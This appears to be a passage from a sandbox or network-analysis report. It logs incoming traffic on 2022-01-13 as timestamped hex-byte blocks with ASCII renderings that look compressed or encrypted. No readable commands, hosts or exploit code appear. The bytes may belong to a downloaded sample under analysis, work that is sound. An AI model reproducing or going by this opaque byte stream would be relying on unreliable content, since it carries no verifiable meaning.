c8 3d 8f 7b 55 a1 8d ac 8b 8b e0 35 29 1e dd 33 03 e2 e0 4b 47 e6 a9 0f 3c 0c ef 02 6a 50 d3 df eb 9d 36 f6 e3 86 90 be 
c0 1a af b5 77 82 73 81 a4 7c 70 c7 ea 6c 2c b6 31 20 0d 8b 4d 53 ce 99 b2 2e 01 34 b9 7c 5f d4 36 23 b6 18 43 d0 c9 e5 
ca de 73 f6 c0 3a a4 b3 e1 b3 7d f1 5e d8 da 07 c2 79 bc 53 32 e5 3a b8 23 79 9b 5c 8b af a7 d3 cb cb 9c b9 e3 eb b8 c4 
f2 46 a9 46 5f e9 fa 34 64 a7 22 ef 2b 7b 6a ff ee 94 
Data Ascii: 1kGoxqv?*+_fXP>l0W t$^Gsrw4azw\t9 U>o#PQZM> `={U5)3KG<jP6ws|pl,1 MS.4|_6#Cs:}^yS2:#y\FF_4d"+{j

2022-01-13 21:05:30 UTC 1786 IN Data Raw: dc 3a 40 7c 39 4b 4b 2d 66 8d e4 27 0a 68 2f 26 e1 eb 27 9d c6 36 87 89 ef 0c 95 89 b5 a9 83 a7 98 21 a3 9d 
92 f1 9e d3 bb ac ca 83 9d e9 76 59 92 91 2e e7 f5 5d c1 25 b7 dc 39 1c 4b cf bc 43 6e 66 1e b4 9d d7 b8 f2 e5 33 44 29 
b6 71 a4 33 24 cc 28 cf 13 78 75 8d 2f 14 3b c4 cc 8c bd ae 5d 48 60 7d ef 9a 6b e9 a9 b8 52 41 25 66 3d 53 2f 4c 35 a3 
bf e8 47 4b db 39 73 dc ba 70 c5 15 33 88 b3 95 bc ec e8 a6 15 4c 91 5e cb a5 e3 7b 20 83 53 1b aa 72 f3 7b 2f 42 6f 6d 
22 6b 29 26 70 25 e6 c6 19 e3 ed d9 4d dd 30 f4 d6 65 e7 40 7c 2b 2a 07 54 61 5a 7c 17 a0 b5 d8 27 5a 5c 42 48 10 5b 
b6 06 91 e7 39 2b 04 d5 1c 4d c2 52 02 7b b7 90 a4 c4 4c 39 ca 1e c8 30 3c 88 9c 82 e6 c2 45 ed b8 00 85 6e 46 9e a9 
5a e0 98 c1 6d 2f 9b 35 45 c9 77 63 4b bc 96 4f 07 f6 ce 4a 2b 
Data Ascii: :@|9KK-f'h/&'6!vY.]%9KCnf3D)q3$(xu/;]H`}kRA%f=S/L5GK9sp3L^{ Sr{/Bom"k)&p%M0e@|+*TaZ|'Z\B
H[9+MR{L90<EnFZm/5EwcKOJ+

2022-01-13 21:05:30 UTC 1790 IN Data Raw: 72 27 97 5c cb ea d9 9d 31 bb 8e ef 64 80 88 e6 5c 35 c4 e7 96 01 94 bb 06 37 47 50 91 64 63 3d 34 0e 2d 19 
59 1a b1 bb d8 48 e6 93 be 30 6d e5 ec 65 e0 6e c7 02 d2 40 cb b4 b6 c4 79 70 5f 8a db da 74 48 d0 47 e7 aa 30 ab 00 
a5 75 e5 cd ca c5 c8 33 c0 b3 ba ac 16 66 0d d6 8a 37 1d e9 d0 76 5e 9e 31 46 17 79 3d a8 cc 6a 8b ae be 82 d8 44 0e 
93 9e 99 f4 1c 18 cc ef 76 b1 4a 57 d6 b1 f3 e1 b4 7c 8e 23 40 43 53 b3 d6 15 f5 2e 9f 19 85 c7 68 7f 0d 70 70 19 62 7d 11 
f4 5b 66 e6 be 6c c4 88 99 1b 97 f9 12 68 e2 01 45 e3 d4 d5 91 05 8b 1d db 49 f9 de 01 f3 d2 20 40 ab cd 53 aa c9 61 32 
7d ce 98 97 04 52 02 2f aa 60 25 54 cd 0a 73 c6 36 07 44 ef 8d 9d 4a 50 58 72 b4 94 25 09 79 25 97 3d fc de 18 12 36 af 
ce f4 0b f5 14 09 49 93 ae f9 75 5f 12 ec 74 54 a3 67 89 72 
Data Ascii: r'\1d\57GPdc=4-YH0men@yp_tHG0u3f7v^1Fy=jDvJW|#@CS.hppb}[flhEI @Sa2}R/`%Ts6DJPXr%y%=6Iu_tTgr

2022-01-13 21:05:30 UTC 1793 IN Data Raw: ea eb 88 22 bb c0 fa d0 3b d0 21 78 47 cd d5 66 0f e0 8b 0e 9d bd cd bd ec a4 e3 48 5d 54 dc 8c 6d 4e f4 f9 34
e2 42 9c 67 f2 e8 56 e6 21 89 c6 6d 01 38 e3 ee 79 13 dd f6 73 6e a5 c9 e2 c0 6d 35 0f 8e 1b b3 9e 6e 99 27 29 6b e0 4a 
61 6b ec 4a 70 02 7b 31 1b 81 f0 c1 89 80 7f 2a 60 66 73 39 69 02 07 5d 0d 47 b2 0b 78 d8 d5 68 1e 93 2d 4b 01 e6 b9 fd 
8c 3e dd 89 28 b9 5a 18 f5 3b 16 66 08 e8 68 7a ac 9e f1 9c 49 a8 38 00 be 47 70 ab 73 01 73 79 0d a5 63 d2 90 b7 75 54 
28 4c 69 3c 51 51 21 06 ee 2c 11 f5 f2 7a b6 bf 74 9c 9c 72 d1 a9 2b 66 63 8b 3a 24 eb 15 6b a3 f6 8a 2e c0 ea c8 41 ed 
89 b4 e6 61 6b 22 be ea f5 58 71 27 c2 38 21 80 c7 1e 3e 9c 49 43 be b9 0b 87 ef 8b 49 59 52 4a 68 b8 ea f8 66 d3 c2 d3 
8b 2d b0 c4 9f 5b ad f7 d4 fe fd d5 de f4 21 83 73 54 
Data Ascii: ";!xGfH]TmN4BgV!m8ysnm5n')kJakJp{1*`fs9i]Gxh-K>(Z;fhzI8GpssycuT(Li<QQ!,ztr+fc:$k.Aak"Xq'8!>ICIYRJhf-
[!sT

2022-01-13 21:05:30 UTC 1797 IN Data Raw: ac a6 31 e7 2c a5 b1 cb 82 af 24 bc db 8f db 38 92 ba 30 b3 27 66 dc b1 c6 6a d8 ee 5f ef 82 b0 11 2b 8c a1 9e
74 b0 5f 3c 85 2c 1c d7 0c ec 97 4f 24 cd dd ea d5 d4 3d 52 47 e4 04 73 6c 0d 01 9d e7 b0 06 77 0f 5d 4b 07 e2 69 cb 4e 
e4 84 bc c0 18 eb 26 8a a1 21 c2 6a 59 a3 a2 90 a4 2c eb 16 f8 1e dc d6 5c 1f 38 c5 8e 3c 00 38 52 c5 b3 4e 45 3b bf 4c 
e1 e5 9b d2 4e 44 98 da 6f 2b ce 95 69 06 e4 6a 54 fb de f8 35 0e ae ba 3d 4d 40 3a e6 74 a4 bc 8b de 66 3b 2f 30 83 4c 
64 bf 59 44 f4 5c 7b cb 81 5c 44 e8 13 eb fd 46 d1 d6 d7 66 cc 27 b2 ea da 58 52 64 24 b4 67 2a 58 36 35 0b 1c 21 e3 9c 
3e e1 d6 6e d2 1e 36 bc 30 b7 e4 21 67 e4 e6 5c 3d b3 07 18 f1 83 95 36 89 b6 19 f0 c6 5c 96 99 b7 b9 c0 55 e0 79 bb 52 
b2 8f 49 91 0f d3 bb 9c 82 73 50 00 d7 1b ea fc 3a 1f 
Data Ascii: 1,$80'fj_+t_<,O$=RGslw]KiN&!jY,\8<8RNE;LNDo+ijT5=M@:tf;/0LdYD\{\DFf'XRd$g*X65!>n60!g\=6\UyRIsP:

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:30 UTC 1801 IN Data Raw: 5d 41 31 e9 62 6f 5c 67 9e 1f 39 f5 e4 66 e4 29 b5 76 96 e6 70 4e 7a fa 8e a2 77 54 dc 0d 89 d2 86 ca 75 7a 07
30 f5 f7 87 47 1e 76 45 dd 31 fb 6d 01 68 91 62 3c 24 73 61 57 b3 08 b8 90 4b 70 6f a3 2c 72 72 f9 91 b2 7d 58 22 87 2e 
8a fa 86 ad 54 69 71 20 4e 50 d4 e0 ac ca 42 c3 46 39 d2 4d 55 63 b8 79 c1 aa b1 78 e9 db aa 2c 81 a7 6b 5a db c7 d9 6e 
7b 9f 2b af 97 52 c6 3c 69 22 65 1c ac 29 31 ce a0 d6 a4 a5 6e 99 9a 68 37 51 4a df 36 8f 92 6c 21 35 b2 37 2f 34 1f e2 f4 
28 39 e8 62 aa 16 ea b2 ae 7a 54 95 76 2e 92 e0 c2 3a d2 32 49 d9 ed f1 05 9b 92 ce 09 6f 12 c0 60 bb c4 2b dc 17 c4 39 
4e c8 15 76 96 0f 83 e2 81 24 cd 4e 5e 2f 80 05 0d 03 fa c3 a6 3e b7 77 55 6b 2b ba fb 01 71 52 13 72 0c 8c a0 9b 7b 33 
3e 6a ee 47 c5 e8 c3 d5 71 df 90 67 ae cf e2 ae 08 
Data Ascii: ]A1bo\g9f)vpNzwTuz0GvE1mhb<$saWKpo,rr}X".Tiq NPBF9MUcyx,kZn{+R<i"e)1nh7QJ6l!57/4(9bzTv.:
2Io`+9Nv$N^/>wUk+qRr{3>jGqg

2022-01-13 21:05:30 UTC 1806 IN Data Raw: 76 36 78 1b fe 5c c3 dd 8e 1f 7b 55 65 49 fa 2c 0b b5 b5 05 ea ca 15 55 ad f9 95 7d 21 69 69 ec 8b a7 b9 90 28 
02 cc 20 48 56 e8 5c 01 65 a2 9f 11 a3 74 d4 6d 4a 4e 10 57 8c 25 6c d3 84 b8 71 30 f4 dc 33 1f 3d bd 5d ba 2c d9 bc 50 
4a 74 75 99 3c 19 e6 5b 9a b1 a8 45 6a 42 31 fb 9a 86 28 80 c3 f6 7d cf c1 7e ac cb 66 77 09 52 c9 b4 3e 5c 99 3c ae d8 
8e e7 b0 a0 69 98 52 b7 ed 83 ec 2e 8d b4 30 b7 6c 01 70 96 9d d9 4b a5 cc 39 53 5b 10 74 55 3d c1 5a ea ef 8c cc 79 
35 eb b2 ea 2e e9 13 d4 26 39 b3 bf 70 ae c8 c9 e3 85 2d 6a 67 91 03 c5 ca fe 48 5d 3b 9f 30 eb b6 82 89 b1 43 b3 55 ad 
0c 42 c4 9a a6 f4 96 21 b6 cf 52 74 08 a5 61 e9 ec 2c 7b b9 e0 b6 d5 15 53 1d f0 9e 32 40 90 b7 16 73 f5 93 1c 0a 4e 00 
94 50 23 36 4d 5e 7b a0 96 25 4f a4 18 53 3d 2f c9 1b e6 
Data Ascii: v6x\{UeI,U}!ii( HV\etmJNW%lq03=],PJtu<[EjB1(}~fwR>\<iR.0lpK9S[tU=Zy5.&9p-jgH];0CUB!Rta,{S2@sNP#6M^
{%OS=/

2022-01-13 21:05:30 UTC 1810 IN Data Raw: d9 25 77 28 f9 93 11 d4 d6 8f f7 39 1c af 2b d5 61 f2 e6 37 01 e3 9c 52 56 cf 88 31 65 40 97 60 73 c4 11 26 e8 
e0 2a aa 46 0c 5a 0d 19 5e df c1 64 8c 08 1c 4e ce 30 b5 15 04 19 4d 7b bf 94 f6 89 b9 7b 20 cf ab 4f 71 c3 bc ab 1a 8b 
18 74 0e 05 2d 20 61 6f e8 ba 47 7d 4c 0a d2 1e da 9a 12 10 ca 67 b8 4d f5 08 ea 70 3a fb 5c 19 83 14 96 a6 76 ba 86 8c 
25 af ea 73 b2 82 92 2b 9d 06 0d c3 c2 c8 3c b2 72 f8 4b 2a 4b 25 94 4d 80 3c 93 76 da a1 14 8d 69 22 e8 88 98 83 9a cc 
45 80 10 b4 f4 29 13 08 74 71 80 71 85 29 d8 58 40 12 00 e5 4d cc dd f0 e1 c2 30 67 d3 cc 59 e2 50 93 a7 0d 44 c2 62 c9 
b8 b4 5c 75 27 0c ec 2d 4a a8 13 2b 0a 5a 0d 3a 6e 9f 79 a8 05 76 17 03 80 f4 fe 6c bf 26 9b ef 4d 25 9b 3d ff 45 d5 b9 b0 
66 ab 0c 69 5e c6 4d f7 6c a5 4b 40 3a 76 44 e4 29 
Data Ascii: %w(9+a7RV1e@`s&*FZ^dN0M{{ Oqt- aoG}LgMp:\v%s+<rK*K%M<vi"E)tqq)X@M0gYPDb\u'-J+Z:nyvl&M%=E
fi^MlK@:vD)

2022-01-13 21:05:30 UTC 1814 IN Data Raw: f4 99 01 15 54 08 4b ba f2 3a 95 6e f3 ca 19 e2 38 c0 60 0e 29 79 43 e2 24 5e 68 9e 43 2e cf b2 73 dd c3 1d 3f 
a2 44 da 0f 79 d3 2d 5d 38 75 d5 a1 95 3b 96 d8 61 06 ea a8 69 c4 94 23 6b 66 53 33 c6 8e 21 21 ea 1f 35 ef 7c 87 0d 53 
46 19 b5 2d 8b 20 61 21 49 df 2c 0d 42 81 27 5f df 1a 5e 70 c0 95 20 f3 50 39 60 43 a9 74 49 ee b1 ad f4 55 ca 84 df cf fa 
f7 26 d7 51 de 66 b7 5e 5b 32 fc e7 ec c2 50 c2 15 a5 05 31 de cc cc 02 ae ac 6c 41 d2 9e 94 a4 4c e5 43 8f 3e 72 94 b2 
0e b5 73 5d a5 9c 56 80 4a 9f 2e 2c 1e df cf 6d 48 b7 2b 81 94 51 62 e3 24 24 e9 52 36 60 ca 31 56 cc 54 21 79 f1 24 cf 
ac 91 23 25 c6 7d 4c 06 b8 9b 8e 7e c5 73 1c b3 7b 09 55 47 52 3a 21 b1 53 90 aa c0 59 f1 39 e4 a1 b4 27 99 ba e8 92 1c 
77 64 6d 9a 41 81 df 41 b3 75 25 c0 45 5f 3d 2f 78 
Data Ascii: TK:n8`)yC$^hC.s?Dy-]8u;ai#kfS3!!5|SF- a!I,B'_^p P9`CtIU&Qf^[2P1lALC>rs]VJ.,mH+Qb$$R6`1VT!y$#%}L~s{
UGR:!SY9'wdmAAu%E_=/x

2022-01-13 21:05:30 UTC 1818 IN Data Raw: 84 da 27 d1 3b 20 90 e3 7b f3 ec 4e f2 a8 f7 d8 21 b3 d8 09 30 a4 c9 c2 6c 13 a0 cb 91 9b f2 46 ad a9 ef 57 92 
fa 14 69 a8 45 55 2c 33 5d c0 10 5d 55 c7 c4 a5 7d 4d 5d 73 af 8c 3e 20 76 44 97 70 68 4d 39 c2 ab 9f 8f 2e ae 38 73 ed 
c8 95 61 f6 cd 5d 4d f7 24 4f 6e 91 b0 0f 39 d1 28 9b 05 23 6e 2f 69 66 9b eb 1a 47 73 d3 92 bc 16 f4 2c 88 71 a3 1d 77 
bd 1c fa 76 dc 5c bf 9d 3b 9b f2 31 70 b5 1c b9 82 22 a8 dc d0 65 68 75 d7 55 9e 6e 0d 13 b3 f6 c4 65 c8 9d 65 b3 1d c3 
eb b6 7c 61 99 dc 60 3c ed a4 92 66 dc 24 0e 13 1d 16 6f 2a ab 9b 7a cb cc 5e cf 54 67 b3 3b 2d 73 b8 b3 ce 97 29 75 3d 
5b 31 38 10 ba ca 0a c8 55 38 cc 28 84 8c d0 7e 5e 91 e3 4e 69 59 62 8e 5d 51 0f 53 2b e5 ac cc be 65 f1 9a ec 35 3c 22 
86 e5 91 ee c8 91 23 34 d2 42 82 47 c2 52 2c d4 7d 49 
Data Ascii: '; {N!0lFWiEU,3]]U}M]s> vDphM9.8sa]M$On9(#n/ifGs,qwv\;1p"ehuUnee|a`<f$o*z^Tg;-s)u=[18U8(~^NiYb]QS+
e5<"#4BGR,}I

2022-01-13 21:05:30 UTC 1822 IN Data Raw: 11 17 ef 66 8e 2a 75 21 59 91 a7 f4 29 31 65 ae 9c 30 81 dc 63 5b cd b4 54 99 0b db 55 ba f1 e8 b7 ac b4 a3 
34 bd 0b ba e9 f2 ae 9c 63 6a a5 13 d5 9c 86 2b 67 32 93 12 a1 63 6e 83 f6 97 b6 88 b1 b8 1d b7 67 c4 55 79 9e 57 31 7a 
45 89 e3 00 a5 54 b8 62 87 55 03 4d 4d 96 e6 e6 75 25 c3 2c 55 be 5d a6 84 e7 1b f1 c2 3c d4 31 5c 41 4a 50 c4 52 8f 8c 
fe 6c 45 c6 2a 96 25 3e b9 df 31 95 55 dd c9 cb 99 bc 72 9d 31 55 f4 99 9d 12 7b 4e 5a 5f 54 ef 58 82 89 a6 28 08 69 7d 
69 86 c3 63 6a 03 79 33 72 5b 65 a0 9a 55 7e 42 2e aa 93 ca 8a 38 2c 4f 68 1a 92 2e 13 a9 6d 0e 23 e2 3a 13 ac b0 dc 2c 
43 47 7a 05 2d 2f 98 84 78 d9 f7 e0 23 b0 a0 ba 26 a6 45 15 5d c1 ea 3a b3 93 d1 fa 25 b4 23 b4 ea 87 72 3b f5 6b 8f 7d 
26 d9 ec 8f dd 0c 33 ca 41 04 cb dd b9 38 2e 59 92 68 06 
Data Ascii: f*u!Y)1e0c[TU4cj+g2cngUyW1zETbUMMu%,U]<1\AJPRlE*%>1Ur1U{NZ_TX(i}icjy3r[eU~B.8,Oh.m#:,CGz-
/x#&E]:%#r;k}&3A8.Yh

2022-01-13 21:05:30 UTC 1825 IN Data Raw: 0d 63 e0 61 7d cf 10 27 79 52 7e 4b f0 70 22 66 b1 41 77 50 c3 91 55 72 74 ed 82 83 dc 96 dc 0d 4b d2 5c 03 
2a 97 dc 1d 9a a4 09 cd 5c 1b 55 c0 b8 d2 37 80 e8 3d 47 3e 90 e7 2e 4b ee f5 51 e9 ae 6e 4e 3d a4 34 49 73 ee 08 ba 
2b 29 68 44 26 61 ec 28 ca e3 5b 4b f5 90 bc d1 85 cf c6 d6 0d 77 0e 25 9d 79 29 48 00 8c eb c7 91 31 47 da a8 58 9c 12 
81 75 c2 d6 07 ef 93 40 9d 4a 37 c4 b6 cb e6 36 98 a3 33 88 5c 1d 72 5e 13 8d 1e d7 94 89 b4 99 ce b2 67 86 b1 a8 77 cd 
21 05 9c 57 a2 85 6e 49 ca 2b 13 0f c9 c2 80 3f 21 05 d5 4b a7 d7 c8 14 ad 5d 39 4e 59 94 74 c7 65 8d 6c da 3d d2 67 d4 
11 26 83 97 d6 8d 8c 53 05 d2 c9 a9 db 9c 86 24 71 93 31 b6 75 31 77 85 00 a6 c3 06 40 99 da 9d c9 7c 84 89 bb 73 96 
66 14 ab 13 7a 97 ed 31 f5 f6 3b 12 ee 7d 79 af a5 29 1c 73 81 
Data Ascii: ca}'yR~Kp"fAwPUrtK\*\U7=G>.KQnN=4Is+)hD&a([Kw%y)H1GXu@J763\r^gw!WnI+?!K]9NYtel=g&S$q1u1w
@|sfz1;}y)s

2022-01-13 21:05:30 UTC 1829 IN Data Raw: 9d a9 3c d3 01 72 0a 22 0f 90 e8 72 04 c5 d3 bc bb a4 04 14 09 5b db 3c e3 55 44 79 d1 90 b3 59 32 1d 4c 4d 
fd 78 6d 4b 53 da 60 df d9 be f5 5f cc d5 33 66 47 35 c3 38 67 c7 46 87 46 96 c0 1e eb d8 d7 ad 13 3a da 0a 53 78 82 5e 
76 04 49 6d ca d5 23 54 4d 01 6b 77 7b 7d e9 71 43 4c 8f 91 6e 68 58 06 f9 c9 6d 93 4a 93 65 5d 25 c1 55 ce a3 04 15 a8 
31 b7 97 92 45 0e a7 10 53 32 91 77 f4 69 e7 bc 18 d5 26 8c 81 73 00 08 49 52 f4 2a 85 ce 0c 13 37 e9 96 7c 26 f3 da af 
24 11 81 57 7f a5 0f 00 ec 5a 78 2f 0c 34 24 80 a8 67 ab 3e cc 52 51 80 a9 f4 c1 f5 02 1d 68 e7 e8 9c ea 5e e4 be 9e 1b 
57 c2 7a e1 dd 48 cf 5e a6 74 35 fb 4c 15 02 ca b9 b0 b8 ca 19 6c 55 a8 8c 7b c4 10 a6 72 f7 37 ae d8 45 ab 4a 53 71 b5 
d1 fd 79 55 58 dc 50 81 c3 b2 d6 6f 66 df a5 b0 0f 39 d0 
Data Ascii: <r"r[<UDyY2LMxmKS`_3fG58gFF:Sx^vIm#TMkw{}qCLnhXmJe]%U1ES2wi&sIR*7|&$WZx/4$g>RQh^WzH^t5Ll
U{r7EJSqyUXPof9

2022-01-13 21:05:30 UTC 1833 IN Data Raw: 6e 4d 5b b0 06 6d 0c f3 e5 5d 98 dc f7 a4 d9 e3 ce c0 24 e2 31 3c 43 13 70 ee 93 55 2f 5a ba 09 6d 0c ac bc 55
8d ef aa 26 e9 9a 18 1b 65 b8 c4 1b eb b8 f7 c3 42 ac ea cf 85 8e a6 cc 30 9c d1 0c 5d 31 7b e3 ba e0 2e 00 97 c5 a4 6c 
be e1 b3 87 32 80 98 27 59 70 67 e9 b1 34 71 98 85 ce 1c 75 1e 5b bd 76 55 21 fc 41 52 f6 1d d7 32 0d 41 43 37 da ec 80 
a9 ad 9e ad e5 40 2e 18 77 e9 ab a2 7e 64 cc 99 97 86 ca a2 64 ce 88 73 c5 99 bd a7 8f eb 78 b9 87 db bc 4e 64 19 bb cf 
c4 bd 0d d4 e1 cb e5 00 10 e0 c8 38 e2 a2 9b 6b 2f 58 bb 17 75 b8 9a 2f 3e 22 c6 8e 26 57 86 16 a5 73 9f 33 41 f4 54 aa 
4a 82 34 ed 12 8e 79 1f a8 1d 10 80 7d f4 da 06 a3 d8 05 86 fb 09 c7 42 1a a7 41 b4 b2 a5 63 cf 90 3a 8e 3a 9d 54 ec c8 
83 de cb dd 99 b6 a4 8c ec a5 2c 75 6e 42 dd 91 d5 35 
Data Ascii: nM[m]$1<CpU/ZmU&eB0]1{.l2'Ypg4qu[vU!AR2AC7@.w~ddsxNd8k/Xu/>"&Ws3ATJ4y}BAc::T,unB5

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:30 UTC 1838 IN Data Raw: 55 cc 1c 2c f3 1a c8 68 66 bb 09 fd a5 ac e9 60 d4 5a 4e 9e 2e c1 ae 28 aa 2a 9f a9 2f e5 f1 58 46 ce 22 aa 5d 
eb d1 02 2e 87 14 67 f7 35 71 b5 c2 55 fa 85 9c 12 7a fa c0 ae 6d 0e dd 6b 53 fc 7c e6 3c b3 d4 4f 7c 7c 9e 32 75 be de 
04 6d 75 7b f0 e2 ac d6 a5 0e 2c 00 77 bd bd 84 d8 27 0c 56 41 31 80 40 c9 0c 97 f0 63 c7 dc 98 a6 d7 1d 0c 7e 92 cf 00 
c2 d7 22 63 b9 22 22 47 5d 97 86 8a 78 ca 65 d0 fc ec 1a af ca 66 6f 71 ad 25 4b 50 38 e5 21 ca 82 9d 65 9e 1c f9 0f 7c 
d6 12 bb 7d 1d 73 21 36 9f a9 64 10 91 e2 ce 80 70 ed 2a aa 7b a4 b8 a3 c4 9b d9 82 96 dc 2e d2 5d 80 d8 6d d2 ba 50 
b6 77 1b ea 21 65 66 9b ed 65 2a b5 8b 10 bd ec 29 da 20 52 5f 8a 78 1e a4 3c 7b f2 1a 00 4b f2 f2 79 d0 5e 12 f4 65 0f 
9e 90 a6 64 26 e1 b2 72 a6 19 99 43 6a 9e 33 74 db dc 6f 
Data Ascii: U,hf`ZN.(*/XF"].g5qUzmkS|<O||2umu{,w'VA1@c~"c""G]xefoq%KP8!e|}s!6dp*{.]mPw!efe*) R_x<{Ky^ed&rCj3to

2022-01-13 21:05:30 UTC 1842 IN Data Raw: 19 d4 cc 21 db e8 cf 4d c1 26 cb 6f 1c 96 ca 7c a6 36 24 5c 69 1b 27 63 6b 5d 1d 48 fb 77 e7 dc 21 79 c9 5f 1f 
75 f8 89 eb 1e 9c b2 f3 8a 15 12 ba 4b aa b0 54 89 cd b6 ba 2c ce 68 fb b6 01 ad a2 e6 9e 83 dd f1 c5 fa 3e 21 5b ee b4 
a4 6d 33 c0 2a 89 07 7b c5 5a 44 5c 11 17 0f a7 94 15 23 b6 53 a4 2f 3b 01 ca 92 b7 12 b0 25 8c 8b a8 86 6b 42 e9 83 4c 
d9 cc b5 72 ad 63 ef 50 15 b1 01 f0 80 1d 13 34 a4 9d 5d 96 38 4a ee e9 44 d7 29 e9 f2 38 96 7e 80 43 60 42 1c a5 45 ae 
91 32 c3 51 df 89 75 44 f9 44 95 67 5e f0 fd 36 ee 71 4b 3f b7 27 d5 00 af 6a 28 90 5b ac 4e 87 ad ef 08 83 f4 d5 2e 66 e7 
42 71 63 f9 71 e8 1c 01 61 7a 41 1e f7 f4 5c 2b 10 d0 b6 5d 97 40 da 24 da 24 c9 53 00 9b b1 92 5d 52 39 dc 90 b8 ba 95 
24 93 d4 67 30 e0 6c 0b 5b 1d a6 a5 a7 f5 17 ba 06 
Data Ascii: !M&o|6$\i'ck]Hw!y_uKT,h>![m3*{ZD\#S/;%kBLrcP4]8JD)8~C`BE2QuDDg^6qK?'j([N.fBqcqazA\+]@$$S]R9$g0l[

2022-01-13 21:05:30 UTC 1846 IN Data Raw: b9 eb 17 c6 3c 97 70 45 77 b9 dd d9 2f ed 9e e5 db 8a 48 81 29 14 ed 60 27 61 ad c8 c6 95 27 d4 33 76 a7 92 
07 fc 47 65 45 ac 12 b8 f2 6b da 69 9f 2d a8 44 cd f1 7d b6 33 ab 89 dd 97 c4 41 0b 9b 15 39 1e ba 5b 96 33 da 00 e8 50 
33 b7 4c 66 ce d3 a0 96 8f 93 17 4c 57 96 9f 96 71 4c 80 7d 7e d1 50 b3 0e aa 8f 3e 21 78 93 bf 02 dc a9 74 52 1a 4a f7 
ac 7e 1d 42 45 76 72 f4 85 2b 6b 9c 5d ad 69 49 41 d4 3c 35 80 d6 86 aa cf 1d da b9 4a ec 8a 23 ad 1c 30 b6 07 de 29 dd 
b7 0f c0 71 77 cb c0 92 27 ef a6 87 cc eb 90 b2 76 5f 00 e3 c0 44 c8 d6 01 d0 40 c3 3c 64 d3 67 e2 da 2d 47 f6 50 c9 eb 
0b e6 95 ac 62 1a 80 21 52 1c ee 6e 85 9c 90 bd 23 ad ee a4 e9 79 3e 24 06 3a 67 9a 4b 5e f9 c0 07 2c f6 d1 6a cd 91 f6 
4e d0 b2 23 2f 0c df 4c 8b 20 30 50 c7 00 cc d0 ea 4c 15 
Data Ascii: <pEw/H)`'a'3vGeEki-D}3A9[3P3LfLWqL}~P>!xtRJ~BEvr+k]iIA<5J#0)qw'v_D@<dg-GPb!Rn#y>$:gK^,jN#/L 0PL

2022-01-13 21:05:30 UTC 1857 IN Data Raw: 09 68 cb ca 15 f9 41 31 33 f8 0e 45 d7 51 3b aa ca e7 a3 8f 43 41 b2 b6 f0 46 85 39 3e 89 c6 2b b1 21 bf 24 4f 
e9 68 90 9d 95 a4 b5 05 a2 ec e3 b3 c3 a2 26 67 7b 38 aa e5 63 db ad ab e4 66 91 1e db 24 b1 96 b6 81 01 e0 c5 4a 91 
63 44 5e a9 94 0d 55 77 2c 97 a5 55 55 6c ef c8 53 32 f2 a8 e3 45 19 2a 3a 67 ee c8 31 f3 a0 24 8b ed 56 4d 59 a0 6a e4 
38 e3 e6 00 1a d9 9a 5b 07 72 40 08 8a c7 6a e4 8e e9 1d 29 ba 99 95 62 6a c5 16 1d 43 f1 9a a9 e7 aa 1a 76 10 ee b9 f2 
b6 62 d9 5f 03 4a 5c 17 4b ce ba 6e 5d 41 ea 33 b7 af d2 32 00 f7 38 f4 56 97 94 8c ac 66 af 6a 89 5e db 4b 5a d2 b3 96 
57 a5 81 74 ae 13 2a 56 b5 65 6e 17 ce d1 42 34 ae d3 7f 17 d4 04 69 c5 dd 3a 79 2c 18 76 2a f0 5a 95 23 8b f8 b5 8d 3e 
ad 91 99 4b aa bb 6d f2 8a 8b 9c f4 f4 15 5d 5e 39 53 f4 
Data Ascii: hA13EQ;CAF9>+!$Oh&g{8cf$JcD^Uw,UUlS2E*:g1$VMYj8[r@j)bjCvb_J\Kn]A328Vfj^KZWt*VenB4i:y,v*Z
#>Km]^9S

2022-01-13 21:05:30 UTC 1873 IN Data Raw: bb 9f 42 60 da 04 b0 11 40 17 8e 07 3b 68 15 7d f9 f4 a9 15 84 2c 3a a0 a9 20 39 c2 45 da 26 11 52 91 00 be 
df 23 41 0b c0 fe 53 cb 5e b0 d6 d1 6c 7b e3 29 0b 75 59 08 39 9f 11 fb 93 56 e3 5f d8 ad a3 f1 d8 1a 59 5c 38 c6 d0 38 
88 a5 d6 88 e7 c5 d1 38 d9 e7 b6 df 44 93 0b 02 dc 88 63 dc a2 9b 7d 25 69 33 8e 0e de 45 3e 8e 10 db 6b 04 7b cb 6e fd 
31 80 91 21 cc 04 e0 b1 48 57 10 e2 f2 4f 1e ff 65 f5 f9 e3 db 7e ed b9 f1 43 2e 02 98 08 66 f7 ca 31 56 a6 c4 35 aa 21 e7 
c9 15 e4 ed be 5f 8a 7f 4d 92 fe 17 d2 42 e9 7d 98 b2 f2 f1 8c 55 4f 7f 0a 88 21 db 46 ca e3 ef 49 7e e2 62 35 41 b0 4a 6c 
a2 e5 c0 71 57 f1 20 4f 4f d9 43 f4 3c f6 80 8f f8 41 b0 88 45 b7 09 f9 6e cc 0b 38 56 70 2b 89 17 19 51 56 d6 31 b0 fa 2f 
51 ba 1f 69 88 01 b8 23 77 1b c9 c1 79 a7 e9 a3 
Data Ascii: B`@;h},: 9E&R#AS^l{)uY9V_Y\888Dc}%i3E>k{n1!HWOe~C.f1V5!_MB}UO!FI~b5AJlqW OOC<AEn8Vp+QV1/
Qi#wy

2022-01-13 21:05:30 UTC 1889 IN Data Raw: 68 0c 8a 6f ab 53 27 04 c6 4c 93 eb 64 a9 ea 4a ad 87 d7 3d a5 08 9c 83 96 07 75 51 46 3d 97 e5 6f c6 50 6e 
b5 96 85 2d a4 95 78 48 d0 16 f7 b3 81 ad 69 fa d6 1e 83 36 4c c9 fd bb 5a 8f d9 85 bd aa d0 26 6f 2f ea e0 2b 52 cc 3b 65
5d 3a ce 75 d6 dd 94 fa 61 80 33 16 b7 ac 01 c5 90 d2 3a 8e ef 03 2b 63 fb 9c 11 a0 e7 2f 6a d9 09 50 61 a4 94 43 e3 48 
98 51 81 73 d8 c9 bd 7a 70 94 60 98 d3 b2 35 9c 91 4d 04 80 6d 79 57 13 c8 3b 07 94 fc 41 c5 9a d2 df 0a 67 a6 b9 b0 b4 
df e1 63 ca fe 71 46 e5 3e 0e e9 b2 ce b6 ba d1 99 a3 61 f9 ed f6 44 1e b4 72 34 69 43 9b d1 74 06 d7 8b f9 d0 ca 28 5d 
87 02 ac 87 a3 09 12 94 a5 b7 86 e6 38 87 85 86 64 39 0d 9c e3 6c 4d f7 c0 9b b4 82 a7 88 58 42 b2 96 2e 68 ec b1 97 
